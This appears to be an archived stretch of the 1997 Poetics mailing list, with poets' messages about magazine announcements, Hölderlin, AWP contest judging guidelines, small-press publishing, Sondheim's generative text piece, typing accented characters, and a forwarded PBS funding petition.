985. Sylvester Pollet — new lit site (fwd)
986. Pritchett,Pat — Re: Naropa, the mini-series
987. Mark Weiss — Re: american language
988. Daniel Zimmerman — Re: american language
989. Mark Weiss — Re: identity/poetics
990. Kali Tal — Re: Poems/Identities
991. henry — Re: identity/poetics
992. David Israel — Re: identity/poetics / standdown (or even lounge?)
993. George Bowering — Re: Poems/Identities
994. P.Standard Schaefer — STEVE CARL
995. George Bowering — Re: american language / Pooh
996. Henry Gould — recommended reading
997. Andrew D Epstein — Re: epithalamium
998. Kali Tal — Re: identity/poetics
999. Pritchett,Pat — Re: frank identities
1000. henry g — question
1001. George Thompson — Re: american language
1002. Pritchett,Pat — Re: identity/poetics
1003. David Israel — Re: american language
1004. John Kinsella — on those who might erase an identity?

1. IMBURGIA
Re: New American Writing #15
Sat 31 May 1997

---

may we order by e-mail? thanks, dan

From: MAXINE CHERNOFF[SMTP:[redacted]]
Sent: Sunday, June 01, 1997 10:59 AM
To: [redacted]
Subject: New American Writing #15

NAW #15 has just been published. It contains work by 38 writers including Rosmarie Waldrop, Stephen Ratcliffe, Gwyn McVay, Kenward Elmslie, David Meltzer, Susan Wheeler, Elaine Equi, Tom Clark, Donald Revell, Sianne Ngai, Rachel Loden, Mei-Mei Berssenbrugge, August Kleinzahler, Jorie Graham, John Noto, Raymond Federman, Paul Violi, John Tranter and many others. It costs $8 and can be ordered from us at 369 Molino Ave, Mill Valley, CA 94941.

Maxine Chernoff and Paul Hoover

↑ Index

2. Henry
Re: list of poetry school
Sun 1 Jun 1997

Happy birthday, Joe! Isn't it Whitman's b-day today too? Mine was 2 days ago - happy twining & twinning! - Henry

↑ Index

3. Henry
Re: list of poetry school
Sun 1 Jun 1997

---

sorry list - I thought that was private. the gab goes on. - H

↑ Index

4. Alan Jennifer Sondheim
julu, textual-jennifer
Sun 1 Jun 1997

+++

Making Jennifer

I live alone in total isolation in New York. I have no partner here, no community; I wake up in tears and depression. And in return, I begin to construct Jennifer, to create textual-Jennifer, a therapeutic I have done in my life before, annihilation-fabric gnawing at my flesh and soul.

Textual-Jennifer produces, spits, writing, text, a maze of constructs and part-objects. I think of dolls, surrealisms, but this ascii-unconscious text-doll invades me, permeates uneasy dreams, produces discomfort at each and every margin. Wherever I reach, my fingers splatter lightning and dark language. Objects fall like rain:

dirty:yes!:abc:spew:
Would abc mind you partying, dirty, with us?
Your feminine filthy is in my rich dirty-dirty
Ah, passion eaten by julu-of-the-open-arms and julu-depressed

Lines end with interrogative ? or exclamatory !, fall if-else into page- void, empty truancy. There are compromises - repetition of openings, limited choices of returned sentences, structures - coupled with word input - these matrices move across internal space, dark languagings:

metal:hard:Stump:staplings:thing
Come home with me, metal, julu-of-the-fast-crowd!
Your lively coupling is in my black suture

As I continue, Jennifer-turn-Julu grows in response, expands in linux- Perl-space, roots itself in my hone directory; as I wryte and rewryte, Julu moves inward-churning. Julu returns textual-Jennifer, effaces er; Julu moves across explicit graphs, Julu is turning me out:

Clara:in_me:--julu--:empty:drowned
Would --julu-- mind you partying, Clara, with us?
Your sedate avatar is in my used gone_mad
Ah, your penis eaten by julu-of-the-open-arms and julu-depressed

Not dismemberment, but _exchange_ within an economy of avatars of scar- city and shattered mirror-stages, textual-Jennifer turning Julu out:

/*sample julu interactive program-run, re: textual-jennifer*/

{k:6} julu

Open your mouth...

Ah... speak... speak...

Jennifer, what do they call you, when they call you...
Alan

Are you dressed as Alan? Is Alan dressed as you?
Are you in your skin, are you in your flesh, ah don't answer...
Ah...

Is Julu wearing your ... , are you wearing your hole?
always in depth and despair

I love your feelings, Alan ...

passion thrusts me your hole!

What do you call your small skin?
dead-male

Your dead-male is mine, my sweet Alan, I am yours!
Your body parts, mine, in a dark list, list them...
one by one, each on a line alone, typing Control-d when done.
corrupt-body
lost-soul
vacant-gaze
skull
gone-world

My vacant-gaze is yours...

dead-male calls forth edgy breast, eating, excreting memory. throughout the death-like, dead-male is wet, death-like, always in depth and despair? ... breast is lost-soul here, it's breast?

Are you becoming close to Jennifer's dead-male?
yes
Ah, a wet and lovely fantasy!
You wore her frock for 240328 hours?
dead-male and 29364 and 29376 - and you knew that all along!

For 0 small days, I have been ill Julu ...
and it has taken you just 1.500 minutes turning Jennifer ...

noname:yes, in truth:Clara:branch:twig
Your wandering stem is in my protruding branch
Devour wandering stem julu-of-the partying noname!
dead-male:always in depth and despair:Alan:skull:vacant-gaze
Your edgy vacant-gaze is in my death-like lost-soul
Your passion seeps into my lost-soul - turning me Julu-Jennifer

---

↑ Index

5. groberts
w-w-e-o-i-r-r-d-d-s
Sun 1 Jun 1997

when John Ashbery read at MIT in April, he read poems by others in accordance with the custom there, before getting to his own. Holderlin was among them, and Ashbery offhandedly commented, for what it's worth, that H was his favorite poet. Ashbery also read Marianne Moore, Elizabeth Bishop, and James Tate, all of whom he praised as if they were unknown. An interesting line-up.

Btw, at the risk of sounding naive, what is a word that it can have an inside? Does it then also have an outside? Infra-verbalists encouraged to reply.

Gary R

↑ Index

6. Eliza McGrand- CVA Guest
Re: list of poetry school
Sun 1 Jun 1997

hi joe and henry -- can we make it boston, not just provident, and maybe rather than anti-non-traditionalist, make it "poem centered and anti- ANY!-ist" and maybe, "age-and-gender-unconcerned" and then i'll have a spot for my chapeau as well?...

doffing a small, rakishly tilted WW II black woolen dress-marine beret inherited from my father (or the cotton khaki summer version thereof...)

e

↑ Index

7. Alan Jennifer Sondheim
www.jodi.org
Sun 1 Jun 1997

Sorry for the wrong URL - it's www.jodi.org , not com.

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ and Javascripted text/webpages -- Tel. [redacted], 432 Dean St., Brooklyn, NY 11217 IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE

↑ Index

8. MAXINE CHERNOFF
New American Writing #15
Sun 1 Jun 1997

NAW #15 has just been published. It contains work by 38 writers including Rosmarie Waldrop, Stephen Ratcliffe, Gwyn McVay, Kenward Elmslie, David Meltzer, Susan Wheeler, Elaine Equi, Tom Clark, Donald Revell, Sianne Ngai, Rachel Loden, Mei-Mei Berssenbrugge, August Kleinzahler, Jorie Graham, John Noto, Raymond Federman, Paul Violi, John Tranter and many others. It costs $8 and can be ordered from us at 369 Molino Ave, Mill Valley, CA 94941.

Maxine Chernoff and Paul Hoover

↑ Index

9. Bob Grumman
Re: julu, textual-jennifer
Sun 1 Jun 1997

Pretty julucious sampling you sent me, Alan--thanks. No time for a while to say more about it, or to do more than express sympathy for what's going on with you. I've run into the kind of unrecognition you describe with mathematical poetry--but some of it IS up at Karl Young's site, which you can find by typing my name in Yahoo. A few people seem to like it. I've never been asked to speak about it, but DID get invited to write about it once--actually not so much about it but about my life as a poet. So myabe I'm ahead of you in the recognition derby? If so, no big deal as I suspect I'm a lot older than you (I'm 56). Anyhow, thanks for writing. Once I get caught up with at least some of the things I'm infamously behind in, and have checked out your stuff on the Net, maybe we can get into a deeper discussion of all this.

Best,
Bob

↑ Index

10. Bob Grumman
Re: julu, textual-jennifer
Sun 1 Jun 1997

Ooops, now I understand why so many people have to apologize for sending a private message to the list. I was in a discussion with Alan, and he slipped a public one in that I answered as a private message. Apologies. Gotta remember to look at the stupit "MAIL TO:" slot before pushing the send button.
--Bob G.

↑ Index

11. **Mark Weiss**
Re: New American Writing #15
Sun 1 Jun 1997

Do you run reviews? I'm getting ready to send out review copies of Rochelle Owens' New and Selected.

At 10:59 AM 6/1/97 -0700, you wrote:
>NAW #15 has just been published. It contains work by 38 writers including
>Rosmarie Waldrop, Stephen Ratcliffe, Gwyn McVay, Kenward Elmslie, David
>Meltzer, Susan Wheeler, Elaine Equi, Tom Clark, Donald Revell, Sianne
>Ngai, Rachel Loden, Mei-Mei Berssenbrugge, August Kleinzahler, Jorie
>Graham, John Noto, Raymond Federman, Paul Violi, John Tranter and many
>others. It costs $8 and can be ordered from us at 369 Molino Ave,
>Mill Valley, CA 94941.
>
>Maxine Chernoff and Paul Hoover
>
>

↑ Index

12. **henry**
Re: list of poetry school
Sun 1 Jun 1997

Elliza - don't you remember? You started our schools of poetry about 4 years ago! I still have my Boston Po-Bum necktie - wear it with pride! - old po-guy ("we have met the poetasters & they is us")

↑ Index

13. **Mark Weiss**
(no subject)
Sun 1 Jun 1997

Please ignore my last--was supposed to be backchannel. Must be an epidemic.

↑ Index

14. **Tenney Nathanson**
Re: a writing utensil of one's own
Sun 1 Jun 1997

---

what's the late (mad) H. poem that's displayed near the front door in the tower in Tubingen? It's a really famous one and I've managed to blank it out and have been hunting for it for a couple weeks now w/o success. Full o swans....

thanks

Tenney

At 08:55 AM 5/30/97 -0400, you wrote:
>>The answer is simple (as usual with me, it always is, heh heh).
>>
>>Holderlin was a coyote.
>>
>>- H
>
>Yes he *really* was!
>
>Well before his "madness" he had produced a translation of Pindar that was
>so idiosyncratic [and so faithful to the Grk] that a good portion of his
>audience thought he was mad even then.
>
>And what did the good doctors think of him? Well, one called his late
>poetry "a catatonic form of imbecility", whereas another called him "the
>greatest of the schizophrenics." I don't think that they've figured him out
>even now.
>
>G.
>
>

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

15. Franklin Bruno (by way of Franklin Bruno <[redacted]>)" <[redacted]>

debt

Sun 1 Jun 1997

David Kellogg wrote:
>
>I'd like to know if Graham picked a loser (as
>she sure did with Mark Levine's DEBT, a National Poetry series winner I
>believe, picked by Graham, who was Levine's teacher.)

>
DK, Could you elaborate on what you disliked about DEBT? I'm not saying I disagree mind you--I saw a couple poems in magazines that intrigued me enough to pick up the book, which disappointed me. I'm being vague here because I'd like to see if your complaints are the same as mine.

By the way (anyone), who -is- publishing The Letters of Mina Harker??

fjb

↑ Index

16. David Kellogg
Re: debt
Sun 1 Jun 1997

Franklin Bruno wrote:

> *DK, Could you elaborate on what you disliked about DEBT? I'm not saying I disagree mind you--I saw a couple poems in magazines that intrigued me enough to pick up the book, which disappointed me. I'm being vague here because I'd like to see if your complaints are the same as mine.*

I thought the opening several poems were quite interesting, with certain attractive kinds of paranoia, subject-shifting voices speaking the poems, and attention to a variety of issues surrounding the title. But then it just got to be the same poem over and over. So in the end, I was bored; it seemed to play the same tricks (which were in the end shock tactics) too many times. I guess I was disappointed also b/c I read it in the context of the hype. I have frankly never read a set of more puffed-up blurbs for a first book than I did for that. (Can't get to the blurbs right now, as I unloaded _Debt_ to reduce my own at a used bookstore).

Cheers,
David

↑ Index

17. David R. Israel
Re: w-w-e-o-i-r-r-d-d-s
Sun 1 Jun 1997

Gary R. asks a question that begs some reply:

> *Btw, at the risk of sounding naive, what is a word that it can have an inside? Does it then also have an outside?*

Another Gary (Snyder) wrote something dealing with this that I thought marvelous -- too bad I don't know where to find it (think it was in the journal

Tricycle abt. 5 years ago . . .) -- much depended on the turn of phrse (etc.) which memory can't quite fetch, but it went something like this:

<< people think that wisdom is some mysterious thing that can never be put into words, but that's not so -- it's easily done. The thing that has me puzzled and that I can never reach the end of is: what are words!? >>

I don't quite recall if he was quoting one of his East Asian sources or riffing on his own ticket.

d.i.

P.S.: Speaking of Tricycle, the current (Summer '97) issue includes a writeup about Alan Ginsberg's final days, as well as publication of what it says is his "final poem" -- poem with a lot of "gone gone gone" refrain lines . . . I enjoyed browsing this in a bookstore today (but didn't shell out lucre to take it home, so far) . . .

p.p.s.: in the film bin, recommended: GRAY'S ANATOMY, where Spalding does his usual thing, but the cinema framing (meta-structure and editing &c) is rather more developed than in his earlier two performance films (Swimming to Cambodia and Monster in a Box).

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 ............
 \\\\
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>Ngai, Rachel Loden, Mei-Mei Berssenbrugge, August Kleinzahler, Jorie
>Graham, John Noto, Raymond Federman, Paul Violi, John Tranter and many
>others. It costs $8 and can be ordered from us at 369 Molino Ave,
>Mill Valley, CA 94941.
>
>Maxine Chernoff and Paul Hoover
>
>
John Tranter come home at once !! You're Australian...
Cheers
Pam

↑ Index

19. Joseph Duemer
AWP Guidelines for judges
Sun 1 Jun 1997

For those still concerned with the "oh those contests" thread, and in the interest of full disclosure, David Fenza, Executive Director of Associated Writing Programs, has provided the guidelines given to the judges in each genre, with similar information, he says, going to the screeners. Fenza also points out that none of this has been kept secret, and that these guidelines have been the basis for those developed by several other national competitions. As for the facts in the "Graham case," after speaking with Fenza and Gwyn McVey, I am personally satisfied that McVey's recent posts accurately represent the facts. Jorie Graham did not request mss that had not gone through the usual process. Whether readers of the guidelines will be satisfied that Graham met the requirement of (3) below I can't predict, since students are specifically and I think intentionally left off the list. Finally, again in the interest of full disclosure, I should say that I am a long-time member of AWP, a program director, and the current General Editor)chief paper pusher) for the Intro Journals Project, a writing competition for students in AWP member programs. --Joe Duemer

The guidelines follow:

The AWP Award Series is a competition for discovering, rewarding, and publishing excellent book-length works.

Thank you for agreeing to serve as judge for this year's AWP Award Series for poetry. Although we do offer each judge an honorarium of $500, we realize that judging a competition like ours is a good amount of hard work. AWP and the many writers submitting their work thank you for your generosity.

The screeners will send you no more than 10 mss., unless you would like to see more.

We require that you select one book-length ms. for our award and publication before this July 1st, 1997. We also require that you write an appreciation of at least fifty words on the winning ms. The screeners will send you mss. no later than May 1st, 1997.

Below are a few recommendations and requirements for judging. Please do not hesitate to call us at AWP if you have any questions or problems.

(1) Choose only an excellent, publishable work for the award. We recognize that in some years, a judge may not discover works that merit our award and publication. We will stand by the judge9s decision. In the past, Ann Beattie, John Irving, John Frederick Nims, and others found no work worthy of the award and publication. We are seeking only those works that will be splendid additions to contemporary letters--those works that demonstrate both achievement and promise and not merely promise alone. For us to maintain the participation of our publishers in the Series, we must, each year, present them with winning manuscripts of high quality. Manuscripts are routinely revised and edited before publication, but the work you select as winner must be of publishable quality. After choosing the winner, you should decide whether another ms. is also worthy of the award and publicationfor the very unlikely instance of an author declining to accept the award. An author may not accept the award if the ms. is committed elsewhere. We have, however, required that the authors notify us immediately should their ms. become accepted by another publisher; we will call you straight away should we receive such a notice.

(2) You may choose up to three finalists. If you find other mss. that are good and publishable, you may designate them as finalists. AWP will work on behalf of the finalists in trying to place them with other publishers. Over forty finalists have been published so far.

(3) If you recognize an intimate friend's work, please disqualify that work from consideration. Please help us protect the good names of AWP and our publishers. If the work is not by a close friend but by an acquaintance, an ex-colleague, or the like, then don't worry, and judge the work as you do the others.

(4) We will send additional mss. should you desire to see them. We have asked that, when the screeners forward the mss. to you, they write a brief letter recommending the best of their selections. Although we do our best to find screeners that will be acceptable to our judges, we realize that the screeners may occasionally cast too small a net, and pass on only those works of one particular style, or those works with particular subject matter. If you find this to be the case, or if you doubt the sensibility that seems to be at work there, please call us at AWP. We will review that screeners' mss. and send you additional mss. should you desire to see them.

(5) You may not ask a screener if has a particular manuscript with a particular title is among the screener's pile of mss., nor may you ask for a particular titled work to be forwarded to you. This is entirely inappropriate and will only damage the good names of AWP, the Award Series, our publishers, and you as judge. You may only consider manuscripts each screener has selected by his or her own free will and criteria.

(6) Once you have selected the winner and finalists, make a note of the log numbers which appear on each title page. Then call AWP, where those numbers must be recorded.

(7) Write your endorsement of the winning ms. Please write an appreciation of at least 50 words on the ms. AWP and the publisher are free to use this in any brochures, press releases, and advertisements we do for the books. We also welcome short appreciations of the finalist mss., although we do not require it. In the past, our efforts to place finalists with publishers have often been facilitated by the written recommendations of our judges.

(8) Consider whether or not one of the finalists is worthy of the award as well. Sometimes, an author will fail to notify us that his or her work has become committed to another publisher and is therefore ineligible for our award. When that is the case, we ask that the judge consider one of the other mss. for the award.

(9) Forward your selections to AWP. After you have written your appreciation(s), send the winning ms. and the finalists to AWP. Please use 2-day Federal Express or US postal service priority mail. Save your receipts and send them to AWP for reimbursement.

(10) Save the remaining mss. until the author has accepted the award. We will call you as soon as the author has accepted our award, so please save the remaining mss. until then. After that, you may discard them. Because we receive such a tremendous number of mss., we cannot return them to the authors.

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

20. Dan Raphael Dlugonski
how to produce books w/o bellying-up
Sun 1 Jun 1997

I've stumbled onto a good solution for the above subject, by relying on community. to backtrack: i edited NRG--a tabloid of literature i couldnt quite understand (included work by bernstein, coolidge, john m bennett, janet gray, ivan arguelles, spencer selby)--for about 20 years. The contents were from all aorund the country (& a few from outside, like chris mann & j w curry), and that made selling it (tabloid, so not real marketeable) difficult (i am not good at merketing or selling.) thought i was done publishing, had a little money left over, decided to do a book of my own. the book had to have a press imprimatur, & i dint want to use Skydog Press, which ahd coexisted with NRG; so i ended up with 26 Books, which led to the plan to do 26 books. the line is: "26 books by 26 writers to display a new alphaet of \poetics arising int he Pacific NorthWest." I deidsed to work with local writers (the complete series will probably be 20 portland area, 4 other Oregonians, 2 from Washington.), folks known on the scene but punderpublished. The second 26 books chapbook was by Doug Marx, well known in portland as areviewer and teacher, but had never published a book of poetry. This book went into a thrid pringint, & was a finalist i9n poetry for the Oregon Book Award. soon after, i received 2 separate grants. The writers are insturmental in selling therir books, within therir comfort zones--some push hard, some aren't comfortable doing readings. Bottom line is that, after publishing 15 volumes, i have enough in the bank to cover the next four, plus a stock that will continue to sell a while. The writers in the series have some community connections, with a couple gorup readings, and provide mutual support and conections for each other.

i plan the series to end with book 26, 2/29/00.

dan raphael

↑ Index

21. David R. Israel
Re: how to produce books / Ivan Arguelles
Sun 1 Jun 1997

Dan Raphael D. --

you wrote,

> *. . . to backtrack: i edited NRG--a tabloid of literature i*
> *couldnt quite understand (included work by bernstein, coolidge, john*

> *m bennett, janet gray, ivan arguelles, spencer selby)--for about 20 years. . . .*

the name Ivan Arguelles rings old bells. For a brief spate, nearly 10 years ago, it seemed I was going to be doing literary editing for a (conceived, but not quite implemented) lit aspect of SoMa Magazine in San Francisco. As such, I was looking around for poetry from various quarters. A friend recommended Ivan A.'s work, and Ivan sent me a poem I liked a lot. Turned out SoMa was going in other directions (and so I never had the fun of getting that -- or other things -- into print).

From that single poem, I felt he was a dynamite writer, and now realize I shd. look into what'all he has out there at this point. If folks happen to know abt. this, you could advise (back or front burner, as suits your culinary notions).

best,

David Raphael I.

```
 .
 .....
 ............
 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////\\\\\
   >    david   raphael   israel    <
   >>      washington  d.c.      <<
 | ▇▇▇▇▇▇▇      (home)
 | ▇▇▇▇▇▇▇      (office)
 ==========================
 |   thy centuries follow each other
 |   perfecting a small wild flower
 |                                (Tagore)
 ////////////////////////////////////////\\\\\/////
```

↑ Index

22. Gwyn McVay

Re: how to produce books / Ivan Arguelles

Sun 1 Jun 1997

Ivan Arguelles has work in Andrei Codrescu's anthology UP LATE: American Poetry Since 1970. In ordinary, non-ASCII type, he'd get an umlaut over his U. I don't know much else about him; his poems in that book were singled out for particular dispraise by critic Paul Fussell, which made me think the work had to have some redeeming quality. I don't know enough of his work--or likely anyone's--to speak ex cathedra, but I admired Arguelles' ranting energy and wordplay.

Gwyn

↑ Index

23. David R. Israel
Re: how to produce books / Ivan Arguelles
Sun 1 Jun 1997

Gwyn says:
I don't know enough of his work--or likely anyone's--to
> speak ex cathedra, but I admired Arguelles' ranting energy and
> wordplay.

Yes, those were the qualities I liked too (from the earlier poem I mentioned) -- and a certain sort of fervid, febrile surrealism perhaps . . .; I'll look in UP LATE, thanks . . .

d.i.

↑ Index

24. dbkk
Re: debt
Mon 2 Jun 1997

At 1:36 PM -0700 6/1/97, "Franklin Bruno (by way of Franklin Bruno wrote:

> *By the way (anyone), who -is- publishing The Letters of Mina Harker??*

Thanks for asking, Franklin. Hard Press is publishing it. The last I heard, it should be out late this year/early next year. I think it will be a nice place to be. They do beautiful books and their distribution is good.

The last long section of my Talisman House book, _Real_ is also included in _The Letters of Mina Harker_. The beginning letter can be found, along with other odds and ends, on my section of Earl Jackson's wild website for his UC Santa Cruz lit class "Hysteria and Paranoia":

http://wwwcatsic.ucsc.edu/~ltmo136/hysttwo.htm

Dodie

↑ Index

25. John Tranter
Re: Piña colada, ümlaüts, and so on ...
Mon 2 Jun 1997

In a recent posting, Gwyn McVay said:

"Ivan Arguelles has work in Andrei Codrescu's anthology
UP LATE: American Poetry Since 1970. In ordinary,
non-ASCII type, he'd get an umlaut over his U. ... "

If your name is Herr Hermann Ümlaut or Señorita Piña Colada, you can still send yourself e-mail.

You can insert special characters into your text if you are an IBM-compatible computer using ASCII to talk to another like mind, by using the ALT characters and the numerals on the numeric keyboard (you know, the keypad that has the numbers arranged in exactly the opposite way to the way they're arranged on your phone dial.)

What happens when these characters are read by a Unix or Macintosh machine, I don't know. Whether the Poetics List can transmit these characters, I also don't know. Maybe it's worth experimenting with. I know I can send and receive them okay through my local server, but I think it's a Windows NT machine, not a mainframe. In the following (incomplete) table of acute accents, umlauts, graves and so on, the sign # means "hold down the ALT key while pressing the next four digits".

¶ #0182 Paragraph sign
à #0224
á #0225
ç #0231
è #0232
é #0233
ê #0234
ë #0235
ì #0236
ü #0252
ö #0246
ñ #0241
 #0160 blank space
| #0124 vertical stroke
& #0038 AMPERSAND
- ordinary hyphen (as in "hippity-hop")
– #0150 EN Dash (as in 1968–69)
— #0151 EM Dash (as in "Miss Colada — stop that!")
§ #0167 Section sign
© #0169 Copyright sign
® #0174 Registered sign (as in Coca-Cola®)

..... there are others ... capital umlauts et cetera ... but I want to keep those for myself for a while.

» John Tranter, 39 Short Street, Balmain NSW 2041, Australia Phone Sydney ([redacted] FAX ([redacted]

↑ Index

26. **rsillima**

Fwd: PBS Funding

Mon 2 Jun 1997

------Begin forward message----------

Subject: PBS Funding-FYI

Friends,

Please read this VERY IMPORTANT petition! PBS, like NPR, the NEA and other cultural institutions now under attack by the organized right, is not beyond criticism. One need only stop to consider what the very terrain of cultural debates would look like without these institutions, however, to realize how important it is to save them.

I hope you will then sign this petition and pass it along to everyone you know. We've got to be active in saving these important institutions! Please sign! Thanks!

---------- NOTE: The easiest way to forward this petition is to copy the entire text and paste it into a new mail message. Then add your name to the end and send it on to your recipients. Thanks. ----------

This is for anyone who thinks NPR/PBS is a worthwhile expenditure of $1.12/year of their taxes (as opposed to, say, Newt Gingrich's salary?), a petition follows. If you sign, please forward on to others (not back to me).

If not, please don't kill it -- send it to the email address listed here:

[redacted]

PBS, NPR (National Public Radio), and the arts are facing major cutbacks in funding. In spite of the efforts of each station to reduce spending costs and streamline their services, some government officials believe that the funding currently going to these programs is too large a portion of funding for something which is seen as unworthwhile". Currently, taxes from the general public for PBS equal $1.12 per person per year, and the National Endowment for the Arts equals $.64 a year in total.

A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans wish to keep funding for PBS, third only to national defense and law enforcement as the most valuable programs for federal funding.

Each year, the Senate and House Appropriations committees each have 13 subcommittees with jurisdiction over many programs and agencies. Each subcommittee passes its own appropriation bill. The goal each year is to have each bill signed by the beginning of the fiscal year, which is October 1.

The only way that our representatives can be aware of the base of support for PBS and funding for these types of programs is by making our voices heard.

Please add your name to this list and forward it to friends if you believe in what we stand for. This list will be forwarded to the President of the United States, the Vice President of the United States, and Representative Newt Gingrich, who is the instigator of the action to cut funding to these worthwhile programs.

If you happen to be the 150th, 200th, 250th etc. signer of this petition, please forward a copy to: [redacted]. If that address is inoperative, please send it to: [redacted]. This way we can keep track of the lists and organize them.

Forward this to everyone you know, and help us to keep these programs alive.

Thank you.

---

1) Elizabeth Weinert, student, University of Northern Colorado, Greeley, CO
2) Robert M. Penn, San Francisco, CA
3) Gregory S. Williamson, San Francisco, CA
4) Daniel C. Knightly, Austin, TX
5) Andrew H. Knightly, Los Angeles, CA
6) Aaron C. Yeater, Somerville, MA
7) Tobie M. Cornejo, Washington, DC
8) John T. Mason, Dalton, MA
9) Eric W. Fish, Williamstown, MA
10) Courtney E. Estill, Hamilton College, NY
11) Vanessa Moore, Northfield, MN
12) Lynne Raschke, Haverford College, PA (originally Minnesota)
13) Deborah Bielak, Haverford, PA
14) Morgan Lloyd, Haverford, PA 19041
15) Galen Lloyd, Goucher College, MD
16) Brian Eastwood, University of Vermont, VT
17) Elif Batuman, Harvard University, MA
18) Kohar Jones, Yale University, CT
19) Claudia Brittenham, Yale University, CT

20) Alexandra Block, Yale University, CT
21) Susanna Chu, Yale University, CT
22) Michelle Chen, Harvard University, MA
23) Jessica Hammer, Harvard University, MA
24) Ann Pettigrew, Haverford College, PA
25) Kirstin Knox, Swarthmore College, PA
26) Jason Adler, Swarthmore College, PA
27) Daniel Gottlieb, Swarthmore College (but truly from Lawrence, KS)
28) Josh Feltman, Tufts University, MA
29) Louise Forrest, Massachusetts Institute of Technology, MA
30) HongSup Park, Massachusetts Institute of Technology, MA
(originally from Portage, Wisconsin)
31) Ana Sandoval,Massachusetts Institute of Technology
32) Katherine Navarrete, Massachusetts Institute of Technology
33) Mandisa Washington, Massachusetts Institute of Technology
34) Stephen Balzac, San Francisco, CA
35) Howard Yermish, Los Angeles, CA
36) Danielle Yermish, Los Angeles, CA
37) David S. Lefkowitz, University of California - Los Angeles
38) Frank S. Albinder, San Francisco, CA
39) Read S. Sherman, Harvard Divinity School
40) Stephane Lemelin, Cambridge, MA
41) Thomas Ouellette, Cambidge, MA
42) Richard Russell, Cambridge, MA
43) Nella Wennberg, Jamaica Plain, MA
44) Eric Smith, Jamaica Plain, MA
45) Alex Graham, Boston, MA
46) Dean Wei, Chicago, IL
47) Luisita Frances, Chicago, IL
48) Roy Vella, Stanford, CA
49) Alan Hellawell, Mountain View, CA
50) Timothy A. Scott, San Francisco, CA
51) Albert M. Yeh, Mountain View, CA
52) Susan Yeh, Seattle, WA
53) Jonathan Payne, Seattle, WA
54) Cena Pohl, Seattle, WA
55) David Perk, Seattle, WA
56) Robert Srygley, Seattle WA
57) Katarzyna S. Kubzdela, Chicago, IL
58) Katy Human, Stanford, CA
59) Erica Fleishman, Reno, NV
60) C. Richard Tracy, Reno, NV

61) Kenneth E. Nussear, Reno, NV
62) Christopher R. Tracy, University of Wisconsin, Madison, WI
63) Kristin Komives, Carrboro, NC
64) Jennifer Goldman, Chapel Hill, NC
65) Darcy Leach, University of Michigan, Ann Arbor, MI
66) Van Luong, University of Michigan, Ann Arbor, MI
67) Aurora M. Sherman, University of Michigan, Ann Arbor, MI
68) Paul O. Stern, Seattle, WA
69) Erika Tapman, U. of Vermont College of Medicine
70) Opher Donchin, Urbana, IL
71) Prof. Pamela Cosman, University of California, San Diego
72) Ari Levitt, University of Washington, Seattle, WA
73) Nathan Martin, Berkeley, California
74) Lynn Price, Kensington, California
75) Leslie Shown, Kensington, CA
76) Mike Boals, Berkeley, CA
77) Wendy Boals, Berkeley, CA
78) Effie Westervelt, Tiburon, CA
79) Mary Burns, Taos, NM
80) Karen Page, New York, NY ([redacted])
81) Gary Holleman, Bemidji, MN ([redacted])
82) Tim Rosa, Newton, MA ([redacted])
83) Doug Hersh, Sherborn MA ([redacted])
84) Ruel Little, Somerville, MA ([redacted])
85) Stefan Wennik, Andover, MA ([redacted])
86) Melissa Walia, SF, CA ([redacted])
87) Tracy Brown, SF, CA ([redacted])
88) John T. Miller, SF, CA ([redacted])
89) M. Todd Davis, SF, CA ([redacted])
90) Michael Demetrios, SF, CA
91) J. Marc Perrin, NY, NY ([redacted])
92) Alyse Daberko, NY, NY ([redacted])
93) Jessica Guertin, Washington Univ. St. Louis([redacted])
94) Ellen Watson, San Francisco, CA
95) Bridgitt Arnold, Seattle, WA
96) Erica Yenni, Seattle, WA
97) Kerri Karvetski, Seattle, WA ([redacted])
98) Mark Butler, Seattle, WA
99) Lazlow Jones, long beach, ny [redacted]
100) Laura Bykowski, NYC, NY [redacted]
101) Amy Stettler, NYC, NY [redacted]
102) F Ben Dana, Burlington, Vermont

103) Bill Dahill-Baue, Brattleboro, VT
104) S. Ryan Quick, Yale University, New Haven, CT
105) Jerry Anne Dickel, Yale University, New Haven, CT
106) Donald Beebe, Yale University, New Haven, CT
107) Stephanie Seery, School of Theology at Claremont, CA
108) Katherine A. Johnson, Baltimore, MD
109) Cynthia J. Halstead, Burke, VA
110) Ronald Northrip, Falls Church, VA [redacted]
111) Jane Levandoski, University of Delaware, DE
112) Denise J. Hills, University of Delaware, DE
113) David P. Sobel, College of William & Mary, VA
114) Amey T. Sadler, College of William & Mary, VA
115) Donna M. Livingston, Woodbridge, VA
116) Karen A. Morris, Burke, VA
117) Michael E. Perdue Atlanta, GA
118) David Cour, Washington D.C.
119) Katie Sergent, Washington D...C.
120) Nathan Sewell, Nashville, TN
121) Peter Eby, Nashville, TN
122) Jeff Taraday, seattle, WA
123) Julie Taraday, Seattle, WA
124) Stephanie Cooper, Seattle WA
125) Kailen Mooney, Seattle, WA
126) Dylan Clark, Univ. of WA, Anthropology, Seattle 98195
127) Daniel Simons, University of Washington, Seattle, WA
128) Kirsten Wild, University of Washington, Seattle, WA
129) Barbara Busetti, University of Washington, Seattle, WA
130) Leslie Macchia, Mountain View, CA ([redacted])
131) Kris Wollenhaupt, San Jose, CA
132) Ann Bowers, Palo Alto, CA
133) Sue Tysko, Palo Alto, CA
134) Liza Schmeltz, San Jose, CA
135) Judith Schweikert, Palo Alto, CA
136) Joan Wylie, Palo Alto, CA
137) Marcia Pugsley, Palo Alto, CA
138) Daryl Davis, Palo Alto, CA
139) Amy Gerstein, San Francisco, CA 140)
140) Christian Holden, San Francisco, CA 141)
141) Stephen Divenere, San Francisco, CA 142)
142) Karen Yetman, San Francisco, CA ([redacted])
143) Christine D'Elia, San Francisco, CA
144) Rachel Bredemeier, Cambridge, MA

145) Karin Horlbeck, Cambridge, MA
146) Mark Bourne, Cambridge, MA ([redacted])
147) Norm Slocum, Weymouth, MA ([redacted])
148) Carol Hughes, Boulder, CO ([redacted])
